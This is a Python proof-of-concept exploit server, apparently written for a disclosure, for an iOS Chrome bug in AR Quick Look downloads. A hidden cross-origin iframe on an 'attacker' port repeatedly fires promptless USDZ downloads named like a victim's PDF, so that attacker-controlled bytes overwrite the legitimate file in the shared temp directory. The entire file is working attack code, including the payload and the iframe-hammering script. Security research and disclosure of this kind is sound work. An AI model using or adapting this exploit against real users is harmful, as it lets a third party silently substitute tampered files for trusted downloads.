#!/usr/bin/env python3
"""
POC server for the iOS Chrome AR-Quick-Look temp-directory clobber bug.

Runs two HTTP origins on a single process:
  * port 8080  -> "victim" origin (the page the user trusts + the legitimate download)
  * port 8081  -> "attacker" origin (cross-origin iframe that fires promptless USDZ downloads)

The attacker iframe repeatedly navigates itself to a resource served with
    Content-Type: model/vnd.usdz+zip
    Content-Disposition: attachment; filename="statement.pdf"
which BrowserDownloadService routes to ARQuickLookTabHelper::Download() with no
prompt and no gesture check. ARQuickLookTabHelper writes to
    <app-tmp>/downloads/statement.pdf
which is the same path the Download Manager uses for the legitimate
"statement.pdf" download, and CreateFileForDownload() unconditionally
base::DeleteFile()s whatever is already there.
"""

import http.server
import socketserver
import threading
import time
import argparse

VICTIM_FILENAME = "statement.pdf"
LEGIT_SIZE_MB = 25          # large enough that the legitimate download is in flight for a while
LEGIT_CHUNK_DELAY = 0.05    # seconds between 64 KiB chunks -> slows the legit download

ATTACKER_PAYLOAD = (
    b"%PDF-1.1\n"
    b"% --- ATTACKER-CONTROLLED BYTES (substituted via ARQuickLookTabHelper) ---\n"
    b"% If you are reading this inside 'statement.pdf', the cross-origin iframe\n"
    b"% overwrote the legitimate download in <tmp>/downloads/ with no prompt.\n"
) + (b"A" * 4096)


# --------------------------------------------------------------------------- #
# Victim origin (port 8080)
# --------------------------------------------------------------------------- #

VICTIM_INDEX = b"""<!doctype html>
<meta charset="utf-8">
<title>Monthly Statement</title>
<style>
 body { font-family: -apple-system, sans-serif; margin: 2em; }
 a.dl { display:inline-block; padding:.7em 1.2em; background:#0b57d0;
        color:#fff; border-radius:8px; text-decoration:none; }
</style>
<h1>Your monthly statement is ready</h1>
<p>Tap below and confirm <b>Download</b> in the toolbar.</p>
<p><a class="dl" href="/statement.pdf">Download statement.pdf</a></p>

<!-- Third-party "ad" iframe; cross-origin via different port. -->
<iframe src="http://__HOST__:8081/poke"
        style="position:absolute;left:-9999px;width:1px;height:1px"></iframe>
"""


class VictimHandler(http.server.BaseHTTPRequestHandler):
    server_version = "VictimSrv/1.0"

    def do_GET(self):
        if self.path == "/" or self.path == "/index.html":
            host = self.headers.get("Host", "localhost:8080").split(":")[0]
            body = VICTIM_INDEX.replace(b"__HOST__", host.encode())
            self.send_response(200)
            self.send_header("Content-Type", "text/html; charset=utf-8")
            self.send_header("Content-Length", str(len(body)))
            self.end_headers()
            self.wfile.write(body)
            return

        if self.path == "/" + VICTIM_FILENAME:
            # The legitimate download. Stream it slowly so it stays in
            # <tmp>/downloads/statement.pdf long enough for the iframe to clobber it.
            total = LEGIT_SIZE_MB * 1024 * 1024
            self.send_response(200)
            self.send_header("Content-Type", "application/pdf")
            self.send_header(
                "Content-Disposition",
                'attachment; filename="%s"' % VICTIM_FILENAME,
            )
            self.send_header("Content-Length", str(total))
            self.end_headers()
            chunk = b"L" * 65536  # 'L' for legitimate
            sent = 0
            while sent < total:
                n = min(len(chunk), total - sent)
                try:
                    self.wfile.write(chunk[:n])
                except (BrokenPipeError, ConnectionResetError):
                    return
                sent += n
                time.sleep(LEGIT_CHUNK_DELAY)
            return

        self.send_error(404)

    def log_message(self, fmt, *args):
        print("[victim  :8080] " + (fmt % args))


# --------------------------------------------------------------------------- #
# Attacker origin (port 8081)
# --------------------------------------------------------------------------- #

POKE_PAGE = b"""<!doctype html>
<meta charset="utf-8">
<script>
  // Hammer the AR-Quick-Look path. Each navigation of this subframe to /clobber
  // returns Content-Type: model/vnd.usdz+zip, which iOS Chrome routes to
  // ARQuickLookTabHelper::Download() with no user prompt and no gesture check.
  // Use a nested iframe so this driver page keeps running.
  let n = 0;
  const f = document.createElement('iframe');
  f.style.display = 'none';
  document.documentElement.appendChild(f);
  setInterval(() => { f.src = '/clobber?n=' + (n++); }, 300);
</script>
"""


class AttackerHandler(http.server.BaseHTTPRequestHandler):
    server_version = "EvilSrv/1.0"

    def do_GET(self):
        if self.path.startswith("/poke"):
            self.send_response(200)
            self.send_header("Content-Type", "text/html; charset=utf-8")
            self.send_header("Content-Length", str(len(POKE_PAGE)))
            self.end_headers()
            self.wfile.write(POKE_PAGE)
            return

        if self.path.startswith("/clobber"):
            # Promptless AR-Quick-Look download. crw_wk_navigation_handler.mm forces
            # this MIME down the WKNavigationResponsePolicyDownload path regardless
            # of frame; BrowserDownloadService routes it to ARQuickLookTabHelper.
            # The Content-Disposition filename collides with the victim download in
            # the shared <tmp>/downloads/ directory.
            self.send_response(200)
            self.send_header("Content-Type", "model/vnd.usdz+zip")
            self.send_header(
                "Content-Disposition",
                'attachment; filename="%s"' % VICTIM_FILENAME,
            )
            self.send_header("Content-Length", str(len(ATTACKER_PAYLOAD)))
            self.send_header("Cache-Control", "no-store")
            self.end_headers()
            self.wfile.write(ATTACKER_PAYLOAD)
            return

        self.send_error(404)

    def log_message(self, fmt, *args):
        print("[attacker:8081] " + (fmt % args))


# --------------------------------------------------------------------------- #

class ThreadingHTTPServer(socketserver.ThreadingMixIn, http.server.HTTPServer):
    daemon_threads = True
    allow_reuse_address = True


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument(
        "--bind",
        default="127.0.0.1",
        help="Interface to bind (use the LAN IP of this host when testing from "
             "a real iOS device, e.g. --bind 0.0.0.0).",
    )
    args = ap.parse_args()

    victim = ThreadingHTTPServer((args.bind, 8080), VictimHandler)
    attacker = ThreadingHTTPServer((args.bind, 8081), AttackerHandler)

    t = threading.Thread(target=attacker.serve_forever, daemon=True)
    t.start()

    print("victim   origin : http://%s:8080/" % args.bind)
    print("attacker origin : http://%s:8081/" % args.bind)
    print()
    print("On the iOS device, open  http://<this-host>:8080/  in Chrome,")
    print("tap 'Download statement.pdf', then tap 'Download' in the toolbar.")
    victim.serve_forever()


if __name__ == "__main__":
    main()